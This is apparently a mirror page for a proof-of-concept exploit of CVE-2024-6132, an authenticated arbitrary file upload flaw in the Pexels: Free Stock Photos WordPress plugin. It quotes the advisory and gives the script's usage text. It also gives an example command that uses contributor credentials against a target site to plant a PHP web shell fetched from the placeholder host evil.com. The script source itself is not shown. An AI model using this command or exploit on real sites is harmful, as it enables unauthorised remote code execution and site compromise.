CVE-2024-6132 PoC — Pexels: Free Stock Photos <= 1.2.2 - Authenticated (Contributor+) Arbitrary File Upload

Source

https://github.com/Nxploited/CVE-2024-6132

Associated Vulnerability

Title:Pexels: Free Stock Photos <= 1.2.2 - Authenticated (Contributor+) Arbitrary File Upload (CVE-2024-6132)
Description:The Pexels: Free Stock Photos plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'pexels_fsp_images_options_validate' function in all versions up to, and including, 1.2.2. This makes it possible for authenticated attackers, with contributor-level and above permissions, to upload arbitrary files on the affected site's server which may make remote code execution possible.

Description

Pexels: Free Stock Photos <= 1.2.2 - Authenticated (Contributor+) Arbitrary File Upload

Readme

# CVE-2024-6132
Pexels: Free Stock Photos &lt;= 1.2.2 - Authenticated (Contributor+) Arbitrary File Upload



## Usage 

```
usage: CVE-2024-6132.py [-h] -u URL -un USERNAME -p PASSWORD -shell_url SHELL_URL

Pexels: Free Stock Photos <= 1.2.2 - Authenticated (Contributor+) Arbitrary File Upload | BY NXPLOIT - KHALED ALENAZI,

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     WordPress site URL
  -un USERNAME, --username USERNAME
                        WordPress username
  -p PASSWORD, --password PASSWORD
                        WordPress password
  -shell_url SHELL_URL, --shell_url SHELL_URL
                        URL of the malicious PHP file
```
## Example:

```
python3 CVE-2024-6132.py -u https://targetsite.com -un contributor -p password123 -shell_url http://evil.com/shell.php

File Snapshot


 [4.0K]  /data/pocs/324286e8ee540805f9b40b502f55e2f237b63c2a
├── [3.4K]  CVE-2024-6132.py
└── [ 833]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!